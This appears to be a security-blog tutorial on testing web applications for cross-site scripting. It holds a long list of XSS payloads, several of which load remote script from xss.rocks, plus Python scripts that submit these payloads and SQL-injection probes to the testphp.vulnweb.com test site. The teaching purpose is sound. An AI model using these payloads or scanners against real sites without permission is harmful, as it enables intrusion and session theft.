Testing XSS vulnerabilities in web applications

Testing for Cross-Site Scripting (XSS) vulnerabilities is crucial to ensure the security of web applications. XSS occurs when an application allows untrusted user input to be included in a web page without proper validation or escaping, which can lead to the execution of malicious scripts in the context of the victim’s browser. Here are some steps and techniques you can use to test for XSS vulnerabilities:

Manual Testing:a. Input Fields and Forms:
- Submit data with special characters (<, >, “, ‘) to input fields and forms.
- Try to inject script tags or event handlers into text areas and input fields.
b. URL Parameters:
- Include special characters and script tags in URL parameters.
- Test different contexts, such as parameter values within script tags or attribute values.
c. User-Agent and Referer Headers:
- Modify the User-Agent and Referer headers to include script tags or malicious payloads.
- Check if the application reflects or uses these headers without proper validation.
d. DOM-Based XSS:
- Look for client-side JavaScript code that processes user input and try to manipulate it.
- Analyze JavaScript files for potential vulnerabilities related to user input.
Automated Testing:a. XSS Scanning Tools:
- Use automated scanning tools that are designed to identify XSS vulnerabilities.
- Examples include OWASP ZAP, Burp Suite, and Acunetix.
b. Payloads:
- Utilize different XSS payloads to test the application’s response.
- Common payloads include <script>alert('XSS')</script> and variations.
c. Browser Extensions:
- Browser extensions like “XSS Hunter” or “XSS Me” can assist in identifying potential XSS vulnerabilities.
Context-Specific Testing:a. Stored XSS:
- Check for vulnerabilities where user input is stored on the server and displayed later to other users.
- Input long payloads to see if they are stored and executed when other users access the page.
b. Reflected XSS:
- Test for vulnerabilities where user input is immediately reflected back in the response.
- Use different payloads to see if the application reflects the injected scripts.
Testing Edge Cases:a. Script Attributes:
- Test for XSS in script attributes such as onerror, onload, etc.
- Check for filters that may be bypassed by using different attribute variations.
b. Non-Standard Protocols:
- Experiment with non-standard protocols in href attributes (e.g., javascript:, data:).
Browser Developer Tools:
- Use browser developer tools to inspect the rendered HTML and JavaScript, helping you identify potential XSS vulnerabilities.

To test a website is vulnerable to XSS, we could use the following script, Where we read from an XSS-attack.vectors.txt file contain all possible attacks vectors.

Plaintext

<SCRIPT>alert('XSS');</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
SRC=&#10<IMG 6;avascript:alert('XSS')>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="   javascript:alert('XSS');">
<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a>
<IMG SRC=java%00script:alert(\"XSS\")>
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LAYER SRC="http://xss.rocks/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
getURL("javascript:alert('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<XML SRC="http:/xss.rocks/xsstest.xml" ID=I></XML>
<HTML><BODY>
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.rocks/xss.js></SCRIPT>'"-->
<? echo('<SCR)';
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="xss.rocks/xss.js"></SCRIPT>

Always ensure that you have proper authorization before conducting any security testing, and perform testing on systems for which you have explicit permission. If you discover XSS vulnerabilities, report them responsibly to the website owner or administrator.

XSS Payload Testing

Python

import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer

# List to store XSS payloads
xsspayloads = []

# Read XSS payloads from a file and populate the list
with open('XSS-attack-vectors.txt', 'r') as filehandle:
    for line in filehandle:
        xsspayload = line[:-1]  # Removing newline character
        xsspayloads.append(xsspayload)

# Target URL
url = 'http://testphp.vulnweb.com/search.php?test=query'

# Dictionary to store form data
data = {}

# Initial GET request to the target URL
response = requests.get(url)

# Loop through each XSS payload
for payload in xsspayloads:
    # Loop through input fields in the HTML response
    for field in BeautifulSoup(response.text, "html.parser", parse_only=SoupStrainer('input')):
        print(field)
        # Check if the input field has a 'name' attribute
        if field.has_attr('name'):
            if field['name'].lower() == "submit":
                data[field['name']] = "submit"
            else:
                data[field['name']] = payload
    # Send a POST request with the modified form data
    response = requests.post(url, data=data)
    # Check if the payload is present in the response
    if payload in response.text:
        print("Payload " + payload + " returned in the response")

Explanation:

Imports:
- import requests: Used for making HTTP requests.
- import sys: Provides access to some variables used or maintained by the Python interpreter.
- from bs4 import BeautifulSoup, SoupStrainer: Utilizes BeautifulSoup for HTML parsing.
Reading XSS Payloads:
- Reads XSS payloads from a file (XSS-attack-vectors.txt) and populates a list (xsspayloads) with these payloads.
Target URL and Form Data:
- Defines the target URL (url) to test.
- Initializes an empty dictionary (data) to store form data.
Initial GET Request:
- Performs an initial GET request to the target URL (requests.get(url)) to retrieve the HTML content.
Payload Testing Loop:
- Iterates through each XSS payload in the list (xsspayloads).
- For each payload, iterates through input fields in the HTML response using BeautifulSoup.
- Modifies the form data dictionary (data) with the XSS payload.
- Sends a POST request with the modified form data.
- Checks if the payload is present in the response, indicating a potential XSS vulnerability.

Python

import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer

xsspayloads = []

with open('XSS-attack-vectors.txt', 'r') as filehandle:
    for line in filehandle:
        xsspayload = line[:-1]
        xsspayloads.append(xsspayload)

#print(xsspayloads)

url = 'http://testphp.vulnweb.com/search.php?test=query'

data ={}
response = requests.get(url)

for payload in xsspayloads:
    for field in BeautifulSoup(response.text,"html.parser",parse_only=SoupStrainer('input')):
        print(field)
        if field.has_attr('name'):
            if field['name'].lower() == "submit":
                data[field['name']] = "submit"
            else:
                data[field['name']] = payload
    response = requests.post(url, data=data)
    if payload in response.text:
        print("Payload "+ payload +" returned in the response")

Note:

The script assumes a form-based XSS vulnerability scenario where XSS payloads are injected into input fields, and the server responds with the injected payload.
The BeautifulSoup library is used for HTML parsing, focusing only on input fields (SoupStrainer('input')). This is to reduce the parsing load and focus on relevant parts of the HTML.
Ensure that the requests and beautifulsoup4 libraries are installed before running the script (pip install requests beautifulsoup4).
The effectiveness of the script depends on the specific context and security measures implemented on the target web page. Use it responsibly and only on systems where you have explicit permission to perform security testing.

The provided Python script is designed for testing Cross-Site Scripting (XSS) vulnerabilities on a target web page. It utilizes the requests library for making HTTP requests and BeautifulSoup from the bs4 library for HTML parsing.

SQL Injection and XSS Testing

The provided Python script is designed to test for SQL injection and Cross-Site Scripting (XSS) vulnerabilities on a target web page. It utilizes the requests library for making HTTP requests.

Python

import requests
import sys

# Target URL and initial parameter value
url = "http://testphp.vulnweb.com/listproducts.php?cat="
initial = "'"

# XSS injection payloads
xss_injection_payloads = ["<SCRIPT>alert('XSS');</SCRIPT>", "<IMG SRC='javascript:alert('XSS');'>"]

# Initial GET request with the initial parameter
response = requests.get(url + initial)

# Check for SQL injection vulnerability
if "MySQL" in response.text or "You have an error in your SQL syntax" in response.text or "Syntax error" in response.text:
    print("Site vulnerable to SQL injection")

    # Test for XSS vulnerability with different payloads
    for payload in xss_injection_payloads:
        response = requests.get(url + payload)

        # Check if the payload is present in the response
        if payload in response.text:
            print("The parameter is vulnerable")
            print("Payload string: " + payload + "\n")
            print(response.text)

Explanation:

Imports:
- import requests: Used for making HTTP requests.
- import sys: Provides access to some variables used or maintained by the Python interpreter.
Target URL and Parameters:
- Defines the target URL (url) to test and an initial parameter value (initial).
XSS Injection Payloads:
- Defines a list of XSS injection payloads (xss_injection_payloads).
Initial GET Request:
- Performs an initial GET request to the target URL with the initial parameter (requests.get(url + initial)).
SQL Injection Check:
- Checks for SQL injection vulnerability by searching for specific strings in the response text.
- If the response contains indicators of SQL syntax errors, it considers the site vulnerable to SQL injection.
XSS Testing Loop:
- If the site is vulnerable to SQL injection, it proceeds to test for XSS vulnerabilities.
- Iterates through different XSS injection payloads.
- Performs GET requests with each XSS payload and checks if the payload is present in the response, indicating an XSS vulnerability.

Note:

Python

import requests
import sys

url = "http://testphp.vulnweb.com/listproducts.php?cat="
initial = "'"
xss_injection_payloads = ["<SCRIPT>alert('XSS');</SCRIPT>","<IMG SRC='javascript:alert('XSS');'>"]

response = requests.get(url+initial)
if "MySQL" in response.text or "You have an error in your SQL syntax" in response.text or "Syntax error" in response.text:
	print("site vulnerable to sql injection")
	for payload in xss_injection_payloads:
		response = requests.get(url+payload)
		if payload in response.text:
			print("The parameter is vulnerable")
			print("Payload string: "+payload+"\n")
			print(response.text)

The script assumes a potential SQL injection vulnerability if specific strings indicative of SQL syntax errors are found in the response text.
The XSS testing section uses a list of different payloads to check for potential XSS vulnerabilities.
This script is a basic example and may need modification based on the specific context of the target application.
Ensure that the requests library is installed before running the script (pip install requests).
The effectiveness of the script depends on the specific context and security measures implemented on the target web page. Use it responsibly and only on systems where you have explicit permission to perform security testing.

Trending Top-Read Articles

Nmap Cheat Sheet: Complete Guide to Network Scanning Commands and Options

Nmap Port Scanning Techniques: TCP SYN, Connect, UDP, ACK, FIN, and XMAS Scans Explained

Nmap Host Discovery: Ping Sweeps, ARP Scans, and Finding Live Hosts on a Network

Trending Tags

Testing XSS vulnerabilities in web applications

XSS Payload Testing

Explanation:

Note:

SQL Injection and XSS Testing

Explanation:

Note:

Like this:

Leave a ReplyCancel reply

Previous Post

Understanding vulnerabilities in web applications with OWASP

Next Post

Analyzing and discovering vulnerabilities in CMS web application

Testing XSS vulnerabilities in web applications

XSS Payload Testing

Explanation:

Note:

SQL Injection and XSS Testing

Explanation:

Note:

Like this:

Leave a ReplyCancel reply

Previous Post

Next Post

Related Posts